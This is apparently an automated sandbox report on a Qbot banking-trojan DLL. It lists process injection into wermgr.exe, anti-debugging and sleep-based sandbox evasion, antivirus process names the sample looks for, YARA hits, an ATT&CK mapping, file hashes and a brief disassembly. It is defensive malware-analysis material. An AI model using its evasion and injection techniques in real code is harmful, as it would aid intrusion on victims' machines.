Source: wermgr.exe, 00000007.00000003.323039882.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, wermgr.exe, 00000007.00000003.324363967.0000000004D56000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Source: C:\Windows\SysWOW64\regsvr32.exe TID: 5068	Thread sleep count: 134 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 476	Thread sleep count: 113 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe TID: 64	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe TID: 5188	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe TID: 5220	Thread sleep time: -83000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe TID: 5016	Thread sleep count: 47 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe TID: 2100	Thread sleep count: 45 > 30	Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_3-14365

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\wermgr.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\regsvr32.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_3-11539

Source: C:\Windows\System32\loaddll32.exe

API coverage: 6.6 %

Source: C:\Windows\SysWOW64\regsvr32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_0073DDE7 GetSystemInfo,

3_2_0073DDE7

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DA994B5 FindFirstFileExW,		0_2_6DA994B5
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_0073C123 FindFirstFileW,FindNextFileW,		3_2_0073C123

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6DA89EC6 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6DA89EC6

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_0073EF38 LoadLibraryA,GetProcAddress,

3_2_0073EF38

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6DA9A32E GetProcessHeap,

0_2_6DA9A32E

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DA91610 mov ecx, dword ptr fs:[00000030h]		0_2_6DA91610
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DA99229 mov eax, dword ptr fs:[00000030h]		0_2_6DA99229

Source: C:\Windows\System32\loaddll32.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DA89EC6 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6DA89EC6
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DA8A11D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6DA8A11D
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6DA8D8C3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6DA8D8C3

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: unknown target: C:\Windows\SysWOW64\wermgr.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\SysWOW64\wermgr.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\SysWOW64\wermgr.exe protection: execute and read and write	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\wermgr.exe base: 1030000	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\wermgr.exe base: 1173C50	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\SysWOW64\wermgr.exe base: BF0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\SysWOW64\wermgr.exe base: 1173C50	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\SysWOW64\wermgr.exe base: BE0000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\SysWOW64\wermgr.exe base: 1173C50	Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: C:\Windows\SysWOW64\wermgr.exe base: 1030000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\SysWOW64\wermgr.exe base: BF0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\SysWOW64\wermgr.exe base: BE0000 protect: page read and write	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\diatomaceous.dat.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe	Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	0_2_6DA9BFAE
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_6DA9C73D
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,	0_2_6DA9C614
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,	0_2_6DA9C1A9
Source: C:\Windows\System32\loaddll32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_6DA9C912
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,	0_2_6DA96812
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,	0_2_6DA9C843
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_6DA9C3C1
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,	0_2_6DA9C336
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,	0_2_6DA96349
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,	0_2_6DA9C29B
Source: C:\Windows\System32\loaddll32.exe	Code function: EnumSystemLocalesW,	0_2_6DA9C250

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6DA89CE5 cpuid

0_2_6DA89CE5

Source: C:\Windows\SysWOW64\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6DA89FEC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6DA89FEC

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_0073DFC2 GetCurrentProcessId,GetLastError,GetSystemMetrics,GetVersionExA,GetWindowsDirectoryW,

3_2_0073DFC2

Source: regsvr32.exe, 00000003.00000003.313976995.0000000000C2F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.313977147.00000000049BF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.314040424.00000000047FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bdagent.exe
Source: regsvr32.exe, 00000003.00000003.313976995.0000000000C2F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.313977147.00000000049BF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.314040424.00000000047FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vsserv.exe
Source: regsvr32.exe, 00000003.00000003.313976995.0000000000C2F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.313977147.00000000049BF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.314040424.00000000047FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: regsvr32.exe, 00000003.00000003.313976995.0000000000C2F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.313977147.00000000049BF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.314040424.00000000047FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avgcsrvx.exe
Source: regsvr32.exe, 00000003.00000003.313976995.0000000000C2F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.313977147.00000000049BF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.314040424.00000000047FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mcshield.exe
Source: regsvr32.exe, 00000003.00000003.313976995.0000000000C2F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.313977147.00000000049BF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.314040424.00000000047FF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Qbot

Source: Yara match	File source: 8.0.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4820000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.b90000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.2fa0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.2fa0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.b90000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.regsvr32.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.730000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.2cc0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.730000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.regsvr32.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.2cc0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.wermgr.exe.1000000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4820000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.wermgr.exe.1000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.312922602.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.313259350.0000000000B90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.320649129.0000000004820000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.320603133.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.319688371.0000000001000000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.312800639.0000000000400000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.319841073.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.319924513.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.322491943.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.322126638.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Qbot

Source: Yara match	File source: 8.0.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4820000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.b90000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.2fa0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.2fa0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.b90000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.regsvr32.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.730000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.2cc0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.730000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.regsvr32.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.2cc0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.wermgr.exe.1000000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.wermgr.exe.e00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.wermgr.exe.e00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4820000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.wermgr.exe.1000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.312922602.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.313259350.0000000000B90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.320649129.0000000004820000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.320603133.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.319688371.0000000001000000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.312800639.0000000000400000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.319841073.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.319924513.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.322491943.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.322126638.0000000000E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	3 Native API	1 DLL Side-Loading	311 Process Injection	1 Masquerading	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Screen Capture	Exfiltration Over Other Network Medium	2 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	2 Virtualization/Sandbox Evasion	LSASS Memory	14 Security Software Discovery	Remote Desktop Protocol	1 Credential API Hooking	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	311 Process Injection	Security Account Manager	2 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Archive Collected Data	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Regsvr32	Cached Domain Credentials	35 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Rundll32	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
diatomaceous.dat.dll	73%	ReversingLabs	Win32.Backdoor.Quakbot
diatomaceous.dat.dll	77%	Virustotal		Browse
diatomaceous.dat.dll	44%	Metadefender		Browse
diatomaceous.dat.dll	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\Desktop\diatomaceous.dat.dll	3%	Virustotal	Browse
C:\Users\user\Desktop\diatomaceous.dat.dll	4%	ReversingLabs
C:\Users\user\Desktop\diatomaceous.dat.dll	NaN%	Metadefender	Browse

Unpacked PE Files

Source	Detection	Scanner	Label	Download
8.2.wermgr.exe.e00000.0.unpack	100%	Avira	HEUR/AGEN.1234562	Download File
9.0.wermgr.exe.e00000.0.unpack	100%	Avira	HEUR/AGEN.1234562	Download File
5.2.rundll32.exe.2cc0000.1.unpack	100%	Avira	HEUR/AGEN.1234562	Download File
9.2.wermgr.exe.e00000.0.unpack	100%	Avira	HEUR/AGEN.1234562	Download File
8.0.wermgr.exe.e00000.0.unpack	100%	Avira	HEUR/AGEN.1234562	Download File
3.2.regsvr32.exe.730000.1.unpack	100%	Avira	HEUR/AGEN.1234562	Download File
7.0.wermgr.exe.1000000.0.unpack	100%	Avira	HEUR/AGEN.1234562	Download File
4.2.rundll32.exe.4820000.1.unpack	100%	Avira	HEUR/AGEN.1234562	Download File

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	719511
Start date and time:	2022-10-10 17:03:44 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	diatomaceous.dat.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal96.troj.evad.winDLL@18/1@0/0
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 73.2% (good quality ratio 68.1%) Quality average: 75.3% Quality standard deviation: 29.8%
HCA Information:	Successful, ratio: 99% Number of executed functions: 27 Number of non-executed functions: 68
Cookbook Comments:	Found application associated with file extension: .dll Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, conhost.exe, backgroundTaskHost.exe
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
C:\Users\user\Desktop\diatomaceous.dat.dll	diatomaceous.dat.dll	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\Desktop\diatomaceous.dat.dll

Download File

Process:	C:\Windows\SysWOW64\wermgr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	4.5939701639198445
Encrypted:	false
SSDEEP:	48:LtIesYew8vL36I8LgS72DsOA1dyqQrD1tXPFJhsppwAOY5iRYgZX0dB1mkK52wRa:aesqt2Dk1dyqIF9JhsLwAOhf2ZW2wIPD
MD5:	C79A1334A3C60DACEE5E43B715236A17
SHA1:	825F4CA853E99E10B81ABE84A1EB2CB6CFD3E8E7
SHA-256:	F892742F6C64A8991337FADDF84FBDB25C43022AC85C8BCC30D47FEBAFEA1D87
SHA-512:	D0B15BAAD608A3EF3AC13E881B9CCA7C27A56CC735AA7324C7AA677274C9FE73FA9B438FDC1B7B2C2B8717EC8949B0ECA605DF58A504F0A705576DC0BA7AF61D
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 4% Antivirus: Metadefender, Detection: NaN%, Browse
Joe Sandbox View:	Filename: diatomaceous.dat.dll, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........B.[.,.[.,.[.,../.V.,..)..,..(.M.,...(.T.,.../.H.,...)...,..-.^.,.[.-.=.,..%.\.,..,.Z.,....Z.,.[...Z.,....Z.,.Rich[.,.................PE..L...n07c...........!....."..........n........@...............................@............@.............................l...l...<....`....................... ......................................p...@............@..\............................text...\!.......".................. ..`.rdata..<....@.......&..............@..@.data....,...0... ..................@....rsrc........`.......(..............@..@.reloc....... ......................@..B........................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Entropy (8bit):	6.8621600107462
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	diatomaceous.dat.dll
File size:	393216
MD5:	2e7f90e0c595d88d28f9fd979ccfcf33
SHA1:	8ff540ba601429c2ee0a444b0d2ec2650d178d23
SHA256:	e3a2c056c730666fedabfed5e3cc2dee12d9c3ca36ac2d7c5289cfe29c125050
SHA512:	0ab199c211e7fe09b332c21da969d26ecccbd2947853c9a7793083e51c59b3aa6a765a0e1d2511c61672c49a60057a5bb05bf29eea33c074b95af55cb9e9a03f
SSDEEP:	6144:8WlZhgoMdtBYTNSlWBsAOrbd62IYQ8jjHH62uzdMPF699o9:Vl3goMdrb5J6wQ8faVn99o
TLSH:	AA846A0379D9BCB6C579123027379BE0C72DEC250BA0C9EF67D8196A4A3C2837525BE5
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........B.[.,.[.,.[.,.../.V.,...)...,...(.M.,...(.T.,.../.H.,...)...,...-.^.,.[.-.=.,...%.\.,...,.Z.,.....Z.,.[...Z.,.....Z.,.Rich[.,

File Icon


Icon Hash:	64da98ecd2ceead4

Static PE Info

General

Entrypoint:	0x10009b6e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x6337306E [Fri Sep 30 18:07:42 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	5258e65ea568c264cf3e536d81339bf5

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007F6C94BF9CF7h
call 00007F6C94BFA1B2h
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007F6C94BF9BA3h
add esp, 0Ch
pop ebp
retn 000Ch
cmp ecx, dword ptr [10033014h]
jne 00007F6C94BF9CF3h
ret
jmp 00007F6C94BFA29Bh
mov ecx, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [10033014h]
xor eax, ebp
push eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [10033014h]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], esp
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
int3
int3
int3
int3
push ecx
lea ecx, dword ptr [esp+08h]
sub ecx, eax
and ecx, 0Fh
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp 00007F6C94BFA3DFh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x31800	0x6c	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3186c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x56000	0xb890	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x62000	0x1da8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2fb70	0x40	.rdata
